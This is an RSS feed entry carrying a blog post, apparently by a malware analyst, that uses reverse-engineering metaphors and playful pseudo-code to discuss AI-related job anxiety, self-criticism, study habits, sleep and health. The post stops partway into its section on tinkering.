<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet type="text/xsl" href="/rss.xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Fumik0</title><link>https://fumik0.com/</link><description>I turn stripped binaries into answers and valuable information. Malware teardowns since 2018, Randomizer and RE Engine tooling, LLM testing.</description><language>en</language><lastBuildDate>Wed, 11 Nov 2026 15:54:34 +0000</lastBuildDate><atom:link href="https://fumik0.com/index.xml" rel="self" type="application/rss+xml"/><generator>Hugo</generator><item><title>Hack Yourself: Reversing the Program That Came Without a Manual</title><link>https://fumik0.com/2026/10/30/hack-yourself/</link><pubDate>Fri, 30 Oct 2026 10:00:00 +0100</pubDate><guid>https://fumik0.com/2026/10/30/hack-yourself/</guid><description>&#10;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;My job is taking apart things that were built to stay hidden. For years I have opened malicious programs, the kind that steal passwords or hide inside other software, and worked out what they do with no manual and no help from whoever wrote them. It remains the most enjoyable work I know, because it takes all of my attention and all of my curiosity at once, a bit like a hard Rubik's cube, where you hold the whole puzzle in your head, turn one piece and watch what moves.&lt;/p&gt;&#10;&#10;&lt;p&gt;The same method works far away from any computer. The YouTuber LabCoatz &lt;a href="https://decrypt.co/354308/youtuber-cracks-coca-colas-139-year-old-secret-formula"&gt;spent a year&lt;/a&gt; rebuilding Coca-Cola from taste tests and a &lt;abbr title="A machine that weighs molecules, so it can list what a substance is made of."&gt;mass spectrometer&lt;/abbr&gt;. People who drink it regularly could not reliably taste the difference.&lt;/p&gt;&#10;&#10;&lt;figure&gt;&lt;img src="https://fumik0.com/img/hack-yourself/photos/coca-cola-bottles.jpg" width="800" height="1195" alt="Coca-Cola bottles." loading="lazy" decoding="async"&gt;&lt;figcaption&gt;The target is a taste you cannot quite name, rebuilt one molecule at a time. &lt;small&gt;Photo: “&lt;a href="https://commons.wikimedia.org/wiki/File:Coca-Cola_bottles.jpg"&gt;Coca-Cola bottles&lt;/a&gt;” by DeusXFlorida, &lt;a href="https://creativecommons.org/licenses/by/2.0/"&gt;CC BY 2.0&lt;/a&gt;, via Wikimedia Commons.&lt;/small&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&lt;p&gt;The targets are different every time, and the method never changes.&lt;/p&gt;&#10;&#10;&lt;ol&gt;&#10; &lt;li&gt;Observe.&lt;/li&gt;&#10; &lt;li&gt;Form a hypothesis.&lt;/li&gt;&#10; &lt;li&gt;Test it.&lt;/li&gt;&#10; &lt;li&gt;Write down what you learn.&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&#10;&lt;p&gt;For years I only used it on programs. I took malware apart every day and never thought to point the method at anything else, even though everyone uses it when nobody has explained how something works. A child takes a toy car apart to see what makes the wheels turn, someone presses every button on a new washing machine until the right programme starts, and a traveller works out a foreign metro map without reading a word of the language.&lt;/p&gt;&#10;&#10;&lt;p&gt;The cook is, in my mind, the easiest case to explain, because the evidence is in the dish. A sauce tastes flat, so they add salt and pepper, and taste again. Still flat, so they add acid, a squeeze of lemon, and taste again. Now it is too sharp, so they add a little fat or sugar, and taste again. If it needs heat, chilli and other spices go in near the end, because heat changes what the earlier adjustments taste like. They are tasting forward until the dish matches the one they had in mind. The recipe is what they write down afterwards.&lt;/p&gt;&#10;&#10;&lt;p&gt;A doctor narrows a different kind of search, and if you have watched &lt;em&gt;House&lt;/em&gt;, you have seen it on the whiteboard. House and his team take the patient's full history first: when the pain started, where it moves, what makes it worse, what else is going on. The answers become a differential, the working list of causes that could explain the symptoms. Each test is chosen to strike out the likeliest entries rather than to confirm the first idea, and each result narrows the list until one explanation is left standing.&lt;/p&gt;&#10;&#10;&lt;p&gt;We run the same loop with people, and it shows most when you are not good at it. I am not, or at least I believe I am not, and I try to get a little better at it every day. Without much experience there is no instinct to fall back on, so you work from the outside. You say something and watch what comes back: a shorter answer, a pause, a laugh, or a laugh that arrives a second too late. A sentence that sounded neutral in your head comes out blunt. A question asked too quickly sounds like an interrogation. So you change the words, the tone or the pace, and you try again on the next exchange.&lt;/p&gt;&#10;&#10;&lt;p&gt;Some people do this without thinking and read a room the way a good cook tastes a sauce. The rest of us do it on purpose, one reaction at a time.&lt;/p&gt;&#10;&#10;&lt;p&gt;None of this looks like reverse engineering, which is why I missed the connection for so long. A cook, a doctor and someone nervous at a dinner table are all reading a system from the outside and working back to the part that explains the behaviour.&lt;/p&gt;&#10;&#10;&lt;p&gt;So I pointed the method at myself. The only way forward I could see was to study myself with the patience I give to a malware sample.&lt;/p&gt;&#10;&#10;&lt;p&gt;In the end, I was both the program and the person writing its manual.&lt;/p&gt;&#10;&#10;&lt;details&gt;&#10;&lt;summary&gt;The words of my job &lt;/summary&gt;&#10;&lt;p&gt;This post borrows vocabulary from programming and malware analysis. You do not need to learn it first. Skim the list, and come back whenever a word later in the text feels unfamiliar.&lt;/p&gt;&#10;&#10;&lt;p&gt;What a program is made of&lt;/p&gt;&#10;&lt;p&gt;One familiar example runs through this part: the alarm clock app on a phone.&lt;/p&gt;&#10;&lt;dl&gt;&#10; &lt;dt&gt;program&lt;/dt&gt;&#10; &lt;dd&gt;A list of instructions that a computer follows exactly, one step at a time. The alarm clock app is one: it is a few thousand instructions that decide what the phone does at 07:00.&lt;/dd&gt;&#10; &lt;dt&gt;function&lt;/dt&gt;&#10; &lt;dd&gt;One named job inside the program. The alarm app has a job called "ring", another called "snooze" and another called "save the time you typed". Each can be read and changed on its own.&lt;/dd&gt;&#10; &lt;dt&gt;call&lt;/dt&gt;&#10; &lt;dd&gt;When one job asks another to do its part. At 07:00 the alarm job calls "ring", and "ring" calls the speaker job. Calls are how small jobs combine into a big result.&lt;/dd&gt;&#10; &lt;dt&gt;public, private&lt;/dt&gt;&#10; &lt;dd&gt;Public functions are the ones the outside world may use, like the snooze button. Private functions are for internal use, like the way the clock counts seconds. Nobody outside can call a private function, although everything inside may depend on it.&lt;/dd&gt;&#10; &lt;dt&gt;import&lt;/dt&gt;&#10; &lt;dd&gt;Something the program borrows instead of building. The alarm app does not make its own clock or speaker, it asks the phone for them.&lt;/dd&gt;&#10; &lt;dt&gt;export&lt;/dt&gt;&#10; &lt;dd&gt;The opposite: a job the program offers to others. When your calendar app can start an alarm for you, it is using something the alarm app exports.&lt;/dd&gt;&#10; &lt;dt&gt;input, output&lt;/dt&gt;&#10; &lt;dd&gt;What goes in and what comes out. The time you type is an input, and the sound at 07:00 is an output.&lt;/dd&gt;&#10; &lt;dt&gt;bug&lt;/dt&gt;&#10; &lt;dd&gt;A step that produces the wrong result, such as an alarm that rings at 06:00 when you set 07:00. It is a fault in the instructions and not a verdict on the person who set it.&lt;/dd&gt;&#10; &lt;dt&gt;log&lt;/dt&gt;&#10; &lt;dd&gt;A plain list of what happened and when, written as it happens, such as "07:00 alarm rang, 07:01 snoozed".&lt;/dd&gt;&#10; &lt;dt&gt;patch&lt;/dt&gt;&#10; &lt;dd&gt;A fix to one step, with the rest of the program left alone.&lt;/dd&gt;&#10;&lt;/dl&gt;&#10;&#10;&lt;p&gt;What I do with one&lt;/p&gt;&#10;&lt;dl&gt;&#10; &lt;dt&gt;malware&lt;/dt&gt;&#10; &lt;dd&gt;A program made to harm or spy on whoever runs it, for example one that quietly copies saved passwords. It is what I study for a living.&lt;/dd&gt;&#10; &lt;dt&gt;sample&lt;/dt&gt;&#10; &lt;dd&gt;One copy of a program kept for study, the way a lab keeps a specimen. In this post, "the sample" also means me.&lt;/dd&gt;&#10; &lt;dt&gt;source code, binary&lt;/dt&gt;&#10; &lt;dd&gt;Source code is the readable version a programmer writes, with names and notes. The binary is the finished version that the computer actually runs, which is only numbers. When you install the alarm app you get the binary and never the notes.&lt;/dd&gt;&#10; &lt;dt&gt;reverse engineering&lt;/dt&gt;&#10; &lt;dd&gt;Working out how something was built by taking it apart and watching what it does, without the author's notes. A mechanic listening to an engine does a version of it.&lt;/dd&gt;&#10; &lt;dt&gt;read it, run it&lt;/dt&gt;&#10; &lt;dd&gt;Two ways to study a program. You can read the file without starting it, which is safe and slow, or you can watch it run and see what it does, which is fast and shows more.&lt;/dd&gt;&#10; &lt;dt&gt;debugger, breakpoint&lt;/dt&gt;&#10; &lt;dd&gt;A debugger is a tool for running a program in slow motion. A breakpoint is a spot where you tell it to freeze, so you can look at everything at that exact moment before letting it continue.&lt;/dd&gt;&#10; &lt;dt&gt;register&lt;/dt&gt;&#10; &lt;dd&gt;A tiny slot inside the processor that holds the number it is working on right now. In this post I use the word as a gauge that goes up and down.&lt;/dd&gt;&#10; &lt;dt&gt;detection rule&lt;/dt&gt;&#10; &lt;dd&gt;A short written description of what a known bad file looks like, so that a scanner can spot the next copy. The tool for writing them is called YARA.&lt;/dd&gt;&#10; &lt;dt&gt;git, commit, revert&lt;/dt&gt;&#10; &lt;dd&gt;Git is the tool that keeps every version of a project's files. A commit is one saved change with a note on why, and a revert undoes one change by adding a new one, so the history stays.&lt;/dd&gt;&#10; &lt;dt&gt;mod&lt;/dt&gt;&#10; &lt;dd&gt;A change made to an existing game or program by someone outside the team that built it. Some well-known games started this way.&lt;/dd&gt;&#10;&lt;/dl&gt;&#10;&lt;/details&gt;&#10;&#10;&lt;p&gt;It has become the most interesting project I have started since the pandemic, and this post is the write-up. It runs in the order of a real analysis, and every part is introduced by a numbered divider of its own, so you always know where you are.&lt;/p&gt;&#10;&#10;&lt;ol&gt;&#10; &lt;li&gt;&lt;b&gt;Read the file without running it.&lt;/b&gt; That gives the report (0x03 and 0x04) and the detection rule (0x05).&lt;/li&gt;&#10; &lt;li&gt;&lt;b&gt;Watch it run&lt;/b&gt;, with a log (0x06) and a breakpoint (0x07).&lt;/li&gt;&#10; &lt;li&gt;&lt;b&gt;Change it&lt;/b&gt;, one small patch at a time (0x08), then check what survives the move (0x09).&lt;/li&gt;&#10; &lt;li&gt;&lt;b&gt;Write the release notes&lt;/b&gt; (0x0A) and leave something for the next version (0x0B).&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&#10;&lt;p&gt;Along the way there are a handful of interactive tools to try. Each one is optional, the data inside is an example, and anything you type stays in your browser. A word with a dotted underline explains itself when you hover over it.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;Why I started&lt;/h2&gt;&#10;&#10;&lt;p&gt;I wrote before about &lt;a href="https://fumik0.com/2026/03/27/youre-not-the-worst-one-here/"&gt;the daily flood of AI announcements&lt;/a&gt;, and it has not slowed since. Many people around me feel lost, as if everything they studied for years has quietly stopped counting. Some have left their jobs to try a different direction, and some have been let go.&lt;/p&gt;&#10;&#10;&lt;p&gt;Others are watching their companies rebuild themselves around AI one piece at a time, and they are wondering where they fit when the only role that still feels safe is the one directing the tools.&lt;/p&gt;&#10;&#10;&lt;p&gt;They are far from alone. Among US workers, &lt;a href="https://www.apa.org/pubs/reports/work-in-america/2026"&gt;48%&lt;/a&gt; now think AI might make some or all of their duties obsolete, up from &lt;a href="https://www.apa.org/pubs/reports/work-in-america/2023-work-america-ai-monitoring"&gt;38%&lt;/a&gt; in 2023 and the highest share the survey has recorded.&lt;/p&gt;&#10;&#10;&lt;p&gt;The internet does not make it easier. A lot of what circulates about AI and jobs is wrong, from misread studies and numbers a chatbot invented to stories pushed on purpose to unsettle people. Reacting to them is normal, but following them down the rabbit hole is the trap, because a feed rewards whatever keeps you scrolling, whether it is true or not.&lt;/p&gt;&#10;&#10;&lt;p&gt;The most careful evidence I have found comes from payroll records, which count who actually got paid each month, so a mood or a press release cannot move them. Across millions of US workers tracked through June 2026, there is no economy-wide displacement. There is, however, a gap at the entrance. Employment for workers aged 22 to 25 in the most AI-exposed jobs sits &lt;a href="https://digitaleconomy.stanford.edu/publication/canaries-in-the-coal-mine-six-facts-about-the-recent-employment-effects-of-artificial-intelligence/"&gt;19%&lt;/a&gt; below where it would be if it had kept pace with their less-exposed peers, while experienced workers show no comparable gap. The change is happening through hiring rather than firing, and a missing first job is hard to see, because it never appears in any count.&lt;/p&gt;&#10;&#10;&lt;p&gt;The wider picture is calmer than the mood, because market conditions, closures, restructuring and cost-cutting were each named more often than AI as the reason for 2025 cuts.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;None of this helps much if you are the person who lost the job, because a number can be true and still have nothing to say to someone in a room with a manager who has practised the sentence.&lt;/p&gt;&#10;&#10;&lt;p&gt;What I keep noticing, though, is that the fear runs through people who look stable, people who post confidently and people whose job titles sound safe. If it is happening to all of them, it is not happening because of something you did wrong.&lt;/p&gt;&#10;&#10;&lt;p&gt;As far as I can see, AI is rarely the whole cause. It is the trigger most people share right now, and it works like fuel. It lands on whatever was already unstable, a job that never felt secure, a confidence that was always borrowed, a year that was already too heavy, and it makes all of it burn faster. That is why this post spends less time on the headlines and more on the program they land on.&lt;/p&gt;&#10;&#10;&lt;p&gt;In my eyes, we are entering a new technological revolution, and every earlier one changed work on a massive scale. The ground is moving, but it is not moving at random. It moves where a task can be handed to a tool, where a junior's work can be checked by a model, and where a company can delay a hire and still ship. Those are patterns, and a pattern can be studied, which is the only useful optimism I have found.&lt;/p&gt;&#10;&#10;&lt;p&gt;Underneath the headlines sit the questions most of us would rather not say out loud.&lt;/p&gt;&#10;&#10;&lt;ol&gt;&#10; &lt;li&gt;Am I too late?&lt;/li&gt;&#10; &lt;li&gt;Did I choose the wrong field?&lt;/li&gt;&#10; &lt;li&gt;Is the thing I am good at still worth being good at?&lt;/li&gt;&#10; &lt;li&gt;What do I learn next, and who will hire me for it?&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;The fear shrinks when it becomes specific. "AI will replace me" is not a problem anyone can solve, while "this part of my job is a lookup, this part is a judgement, this part is trust" is a list you can work through. So I did what I always do with something I do not understand yet. I got curious, and I started taking it apart.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;Hack, the old meaning&lt;/h2&gt;&#10;&#10;&lt;p&gt;Before opening anything, I had to settle what I meant by hack, because I wanted the curiosity and not the damage. "Hack yourself" can sound aggressive, but the word did not start that way. In the MIT model railroad club of the late 1950s, a hack was a clever piece of work on the club's layout, usually late at night and rarely necessary. The &lt;a href="http://www.catb.org/jargon/html/H/hacker.html"&gt;Jargon File&lt;/a&gt; still defines a hacker as someone who enjoys exploring the details of programmable systems and stretching their capabilities, and it keeps a separate word, cracker, for someone who breaks in.&lt;/p&gt;&#10;&#10;&lt;figure&gt;&lt;img src="https://fumik0.com/img/hack-yourself/photos/laughing-man.png" width="400" height="360" alt="The Laughing Man logo from Ghost in the Shell: a smiling face under a cap, ringed by the words: I thought what I'd do was, I'd pretend I was one of those deaf-mutes." loading="lazy" decoding="async"&gt;&lt;figcaption&gt;In &lt;i&gt;Ghost in the Shell: Stand Alone Complex&lt;/i&gt;, the Laughing Man hacks every eye in the room and pastes this logo over his own face, a long way from the model railroad. &lt;small&gt;“Laughing Man” by Cddigi, CC BY-SA 4.0, via Wikimedia Commons.&lt;/small&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&lt;p&gt;That is the meaning I have in mind. You take a system apart because you are curious, and then you make it work a little better.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;A program with no manual&lt;/h2&gt;&#10;&#10;&lt;p&gt;With that in mind, I imagined myself as a program. This program has no manual, no comments and no changelog, and none of its parts carry a name (a programmer would say it has no symbols). It is a binary, the finished file a computer runs long after the readable version was thrown away, and it starts every morning and produces behaviour.&lt;/p&gt;&#10;&#10;&lt;p&gt;For a reverser, a binary without documentation is the normal starting point. I have spent years opening files that did not want to be opened: &lt;a href="https://fumik0.com/posts/"&gt;stealers, &lt;abbr title="A loader is a small program with one job: fetch something else and start it."&gt;loaders&lt;/abbr&gt;, miners and the &lt;abbr title="A packer compresses or scrambles a program so its real code cannot be read until it has unpacked itself in memory."&gt;packers&lt;/abbr&gt; that hide them&lt;/a&gt;, and later games that were never meant to be taken apart. None of them came with a README. Every one started the same way, with something running and nobody to explain why. The first hours, when nothing makes sense yet, are still my favourite part of the job.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;This may sound like a joke, and part of it is. The obvious objection is that a person is not a program, and that looking at yourself like one must feel cold. In practice it worked the other way round, because when you analyse a sample, you are never angry at it for behaving strangely, or almost never. VMProtect (a protector that rewrites code for an imaginary processor of its own) is the exception, and so is the &lt;abbr title=".NET is a Microsoft platform for building programs; they keep more readable clues than most compiled code, which also makes them easy to wrap in layers."&gt;.NET&lt;/abbr&gt; loader with a dozen stages, each one &lt;abbr title="Packed code is compressed or scrambled so it cannot be read; unpacking is the code undoing that on itself, moments before it runs."&gt;unpacking&lt;/abbr&gt; the next as if the author were paid by the layer. The rest of the time you are curious, and every unusual behaviour becomes a clue.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;Take the thought "I am useless now". Read as a fact, it decides how the evening goes. Read as output, "the program is printing &lt;code&gt;I am useless now&lt;/code&gt; again", it becomes a line you can look at without obeying it. Psychologists call this move &lt;a href="https://www.sciencedirect.com/science/article/pii/S2212144720301940"&gt;cognitive defusion&lt;/a&gt;, and it comes from acceptance and commitment therapy (ACT), which teaches you to notice a thought as a thought instead of treating it as a fact. The usual advice is to argue with the thought, gather the evidence and write a fairer version, and that is a large part of cognitive behavioural therapy (CBT).&lt;/p&gt;&#10;&#10;&lt;p&gt;At two in the morning, arguing with your own head mostly starts a second argument. Defusion skips that debate, so the line stays in the log while you stop executing it.&lt;/p&gt;&#10;&#10;&lt;p&gt;The oldest exercise is simpler than it sounds. Over a century ago, the psychologist Edward Titchener noticed that a word said out loud fast enough, "milk, milk, milk", turns into a sound. In a study of eight people, doing this with a negative word about themselves &lt;a href="https://doi.org/10.1016/j.brat.2003.10.008"&gt;reduced discomfort and believability&lt;/a&gt; more than distraction or trying to control the thought. Eight is small, but the trick costs almost nothing to try.&lt;/p&gt;&#10;&#10;&lt;p&gt;The method rests on two things, which are curiosity instead of a verdict and enough distance to read a sentence about yourself as output rather than as truth. It is also everything I needed before opening the file, because the first thing a program with no manual does is tell you what it thinks of you.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;h2&gt;Report: ME.exe&lt;/h2&gt;&#10;&#10;&lt;p&gt;What it thinks of you stays a mood until you take it apart, so I opened the file. When a new sample lands on my desk, I write the same report every time. What is the file? What does it borrow from outside? Which strings does it carry? What does each part do? How do I recognise it next time? This time the sample was me.&lt;/p&gt;&#10;&#10;&lt;p&gt;I wrote it in the third person. "I failed" sounds like a confession. "The sample failed" sounds like a bug, and a bug has a line number.&lt;/p&gt;&#10;&#10;&lt;p&gt;What the program needs from outside matters more than its code. A reverser calls this list the imports, and it is often the most revealing part of a file, because a program can only do what it is able to borrow. Sleep comes from the body, and replies come from other people. Every day, four drives (&lt;code&gt;learn()&lt;/code&gt;, &lt;code&gt;tinker()&lt;/code&gt;, &lt;code&gt;friends()&lt;/code&gt; and &lt;code&gt;fun()&lt;/code&gt;) compete for a fixed attention budget, and whatever asks first gets served. When an import like sleep is missing, the program keeps running instead of crashing with a clear error, and it fails later, somewhere else.&lt;/p&gt;&#10;&#10;&lt;p&gt;The sentences it keeps saying to itself are the embarrassing part. A reverser calls them strings, and they are usually the fastest way to understand a sample, because they are the one part of a file written in plain language.&lt;/p&gt;&#10;&#10;&lt;p&gt;You can run the same &lt;abbr title="Triage, borrowed from battlefield medicine: sorting what needs attention first, instead of treating everything at once."&gt;triage&lt;/abbr&gt; on your copy below. Tick the strings you have heard yourself say this week, and sort them by what needs attention first. The &lt;abbr title="In security reports, an indicator is any observable sign that something is going on: a line in a log, a file, a connection."&gt;indicators&lt;/abbr&gt; tab turns your week into a short list of warning signs. The strings are examples, and nothing leaves your browser.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;Here are the six findings, in the order the report found them. Each one points at a part and ends with a patch line, and those six lines are what the rest of this post keeps coming back to.&lt;/p&gt;&#10;&#10;&lt;h3 id="sec-critic" data-sec="critic"&gt;&lt;code&gt;critic()&lt;/code&gt; Inner critic&lt;/h3&gt;&#10;&#10;&#10;&lt;p&gt;&lt;code&gt;critic()&lt;/code&gt; is private, so nobody else ever reads it, but its output leaks into everything else. Every time something goes wrong, the sample calls the inner critic. A good error handler logs the fault and moves on. This one writes a verdict about the programmer.&lt;/p&gt;&#10;&#10;&lt;pre class="lang-c"&gt;&lt;code&gt;// the inner critic, in sketch&#10;int handle(task_t task)&#10;{&#10; for (attempt = 0; attempt &amp;lt; 3; attempt++) {&#10; if (run(task) == OK)&#10; return OK; // success: logged nowhere&#10; verdict(self, "this is wrong"); // line 213&#10; }&#10; log(task, "failed"); // the fault, no line number&#10; return FAIL; // and no fix() to go with it&#10;}&#10;&#10;// private, but called from everywhere&#10;void verdict(person_t *who, const char *msg)&#10;{&#10; who-&amp;gt;confidence -= 1; // per attempt, not per fault&#10; schedule(replay, msg, "02:00"); // re-run at night, unprompted&#10;}&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;The bug is on line 213. The verdict sits inside the retry loop, so one timeout that fails three attempts earns three sentences, and a small slip gets punished like a big one. Moving the line was quick, but finding it took much longer, because every time I looked back at a mistake, the only note I had left myself was "this is wrong", and that note never says which line to move.&lt;/p&gt;&#10;&#10;&lt;figure&gt;&lt;img src="https://fumik0.com/img/hack-yourself/photos/errata-1793-800.webp" srcset="https://fumik0.com/img/hack-yourself/photos/errata-1793-800.webp 800w, https://fumik0.com/img/hack-yourself/photos/errata-1793-1600.webp 1600w" sizes="(max-width: 800px) 100vw, 736px" width="800" height="1194" alt="A 1793 printed errata slip listing page, fault and correction." loading="lazy" decoding="async"&gt;&lt;figcaption&gt;A 1793 errata slip: page, fault, fix. There is no column for what the fault says about the printer. &lt;small&gt;Photo: “&lt;a href="https://commons.wikimedia.org/wiki/File:Errata2pl1793.jpg"&gt;Errata2pl1793&lt;/a&gt;” by Rodak, public domain, via Wikimedia Commons. Resized.&lt;/small&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&lt;p&gt;A review that only hands out verdicts also makes the next review something to dread, so you stop looking and the fault stays in the file.&lt;/p&gt;&#10;&#10;&lt;p&gt;People who are as kind to themselves after a failed test as they would be to a friend are &lt;a href="https://pubmed.ncbi.nlm.nih.gov/22645164/"&gt;&lt;em&gt;more&lt;/em&gt; willing to study for the retake&lt;/a&gt;, not less, and across 20 study samples they report &lt;a href="https://doi.org/10.1016/j.cpr.2012.06.003"&gt;less depression, anxiety and stress&lt;/a&gt;.&lt;/p&gt;&#10;&#10;&lt;p&gt;So now every review has to name one specific fix and say nothing about the person. If I cannot find a fix, the review is dropped and only the verdict goes, while the fault stays in the log.&lt;/p&gt;&#10;&#10;&lt;p&gt;&lt;span&gt;patch&lt;/span&gt; &lt;code&gt;verdict()&lt;/code&gt; deleted from the retry loop. One fault, one log line, one fix attached.&lt;/p&gt;&#10;&#10;&lt;h3 id="sec-learn" data-sec="learn"&gt;&lt;code&gt;learn()&lt;/code&gt; Learning&lt;/h3&gt;&#10;&#10;&#10;&lt;p&gt;&lt;code&gt;learn()&lt;/code&gt; decides what gets in and what stays. It keeps a queue of things to read, watch and finish, and the queue grows faster than it empties. A long queue feels like progress.&lt;/p&gt;&#10;&#10;&lt;pre class="lang-c"&gt;&lt;code&gt;// the reading list, as code&#10;queue_t reading_list = { books, papers, talks, courses };&#10;&#10;void learn(void)&#10;{&#10; while (queue_len(reading_list) &amp;gt; 0) {&#10; item = peek(reading_list); // never pops&#10; reread(item); // feels like progress&#10; highlight(item, YELLOW); // feels like more progress&#10; if (found_something_new())&#10; push(reading_list, it); // grows faster than it empties&#10; }&#10; // no test here: nothing checks what stayed&#10;}&#10;&#10;// recall(): present, never called&#10;bool recall(item_t item)&#10;{&#10; close(item);&#10; return write_from_blank_page(item);&#10;}&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&#10;&lt;p&gt;The loop above re-reads the top of the list forever and never checks what stayed. Language study is where this showed most clearly. In a learning app, every word arrives next to a picture and four possible answers, so after a few months I could pick the right one almost every time. A real menu, however, has no pictures and no answer choices, and the person waiting behind me does not care how long my streak is. The app had trained recognition (spotting the right answer when someone shows it to you), while the menu asked for recall (producing the answer from nothing).&lt;/p&gt;&#10;&#10;&lt;p&gt;The research on this gap is unusually clear. In a 2008 study, students learned forty Swahili words, and a week later the ones who kept studying a word but stopped testing themselves on it remembered about &lt;a href="https://www.science.org/doi/10.1126/science.1152408"&gt;36%&lt;/a&gt;, while the ones who kept testing themselves remembered about 80%. Re-reading makes a page feel familiar, and familiar is easy to mistake for knowing. Recall forces the brain to rebuild the answer, and that effort is what makes it stay.&lt;/p&gt;&#10;&#10;&#10;&#10;&#10;&lt;p&gt;The same trap hides in colour-coded notes made for a "visual learner", which have &lt;a href="https://pubmed.ncbi.nlm.nih.gov/26162104"&gt;no good evidence behind them&lt;/a&gt;. What works is plainer and less pleasant. I read a chapter once, close it, and write down everything I remember on a blank page before I check what I missed. It feels slower than highlighting, but the gaps on that page are the only honest list of what I have not learned yet.&lt;/p&gt;&#10;&#10;&lt;p&gt;&lt;span&gt;patch&lt;/span&gt; Input queue capped. &lt;code&gt;recall()&lt;/code&gt; wired into the build as a test that runs after every chapter.&lt;/p&gt;&#10;&#10;&lt;h3 id="sec-health" data-sec="health"&gt;&lt;code&gt;health()&lt;/code&gt; Health&lt;/h3&gt;&#10;&#10;&#10;&lt;p&gt;&lt;code&gt;health()&lt;/code&gt; is the private check that every drive depends on, because each drive needs a body that can think. It reads the body's fields and returns a score made of fuel minus the interest on sleep debt, tension and load. When it returns a bad value, nothing reports a health error. What shows up instead is a shorter temper, a rushed decision, a message sent a bit too fast. Each one blames itself, so the real cause stays hidden a level below. Reversers know this pattern well, because the crash is rarely where the fault is. You trace back to whoever supplied the value, and that is why this function is worth checking before blaming anything else.&lt;/p&gt;&#10;&#10;&lt;pre class="lang-c"&gt;&lt;code&gt;// health(), what it needs&#10;sleep() the nightly recharge&#10;move() a body that gets used, not only carried&#10;eat() fuel, ideally cooked rather than grabbed&#10;listen() warnings the body sends before it fails&#10;check() an outside reading: a doctor, a blood test&#10;&#10;// and what it returns&#10;int health(body_t *b)&#10;{&#10; int score = b-&amp;gt;fuel;&#10; score -= interest(b-&amp;gt;sleep_debt); // compounds every short night&#10; score -= b-&amp;gt;tension + b-&amp;gt;load;&#10; return score; // a low value logs nothing&#10;}&#10;&#10;// sleep(), before the patch&#10;void sleep(void)&#10;{&#10; hours(5); // five hours used to be enough&#10; episode(1); // one more, it is only midnight&#10;}&#10;&lt;/code&gt;&lt;/pre&gt;&#10;&#10;&lt;p&gt;Sleep goes first, because every other function reads from it. Mine ran on habits that were easy to start and quietly expensive to keep: five-hour nights, because five hours used to be enough, one more episode at midnight, and a catch-up plan, "I will sleep at the weekend", which sounds sensible and tends to repeat.&lt;/p&gt;&#10;&#10;&lt;p&gt;Short nights feel free, and that is the trick. In a fourteen-day experiment with 48 healthy adults, people held to &lt;a href="https://pubmed.ncbi.nlm.nih.gov/12683469/"&gt;four or six hours in bed&lt;/a&gt; slowly lost sharpness on attention tasks, while their own sleepiness ratings barely moved after the first few days. They felt fine and performed worse. It works in the other direction too, because a steady, slightly longer night is one of the cheapest upgrades there is.&lt;/p&gt;&#10;&#10;&lt;p&gt;Movement is the import this file drops first when the week gets busy, which is a pity, because a 2024 review of &lt;a href="https://doi.org/10.1136/bmj-2023-075847"&gt;218 trials&lt;/a&gt; found that walking, jogging and strength training each improved mood by a moderate amount. Food works the same way, only more quietly: one meal a day that is cooked and eaten away from the keyboard tends to pull other things up with it.&lt;/p&gt;&#10;&#10;&lt;p&gt;Listening is where the body gets a say. It usually mentions things early and politely, through a tight jaw by mid-afternoon, a headache on the same weekday, or waking at 04:20 with nothing to blame. A single one means nothing, but the same one three weeks in a row is worth a note. While &lt;a href="https://doi.org/10.1002/14651858.CD009009.pub3"&gt;general health checks&lt;/a&gt; for people with no symptoms make little difference, a visit booked because a warning keeps repeating is the useful one. For mood, &lt;abbr title="NICE: the UK body that writes the clinical guidelines doctors follow."&gt;NICE&lt;/abbr&gt; lists talking therapies, guided self-help and &lt;a href="https://www.nice.org.uk/guidance/ng222/chapter/recommendations"&gt;group exercise&lt;/a&gt; among the first options, so asking for help does not have to mean medication on day one.&lt;/p&gt;&#10;&#10;&lt;figure&gt;&lt;img src="https://fumik0.com/img/hack-yourself/photos/sony-clock-800.webp" srcset="https://fumik0.com/img/hack-yourself/photos/sony-clock-800.webp 800w, https://fumik0.com/img/hack-yourself/photos/sony-clock-1600.webp 1600w" sizes="(max-width: 800px) 100vw, 736px" width="800" height="533" alt="A dark bedroom with a Sony clock radio showing 6:37 in green." loading="lazy" decoding="async"&gt;&lt;figcaption&gt;The clock says 6:37. The photographer sets it seven minutes fast, so it is really about half past. &lt;small&gt;Photo: “&lt;a href="https://commons.wikimedia.org/wiki/File:Sony_Dream_Machine_at_6_37am.jpg"&gt;Sony Dream Machine at 6:37am&lt;/a&gt;” by arvind grover, CC BY-SA 2.0, via Wikimedia Commons. Resized.&lt;/small&gt;&lt;/figcaption&gt;&lt;/figure&gt;&#10;&#10;&lt;p&gt;&lt;span&gt;patch&lt;/span&gt; &lt;code&gt;health()&lt;/code&gt; returns better values. The wake time stays put, the phone charges outside the bedroom, the body gets moved and fed on purpose, and a warning that repeats gets an outside reading.&lt;/p&gt;&#10;&#10;&lt;h3 id="sec-tinker" data-sec="tinker"&gt;&lt;code&gt;tinker()&lt;/code&gt; Tinkering&lt;/h3&gt;&#10;&#10;&#10;&lt;p&gt;&lt;code&gt;tinker()&lt;/code&gt; 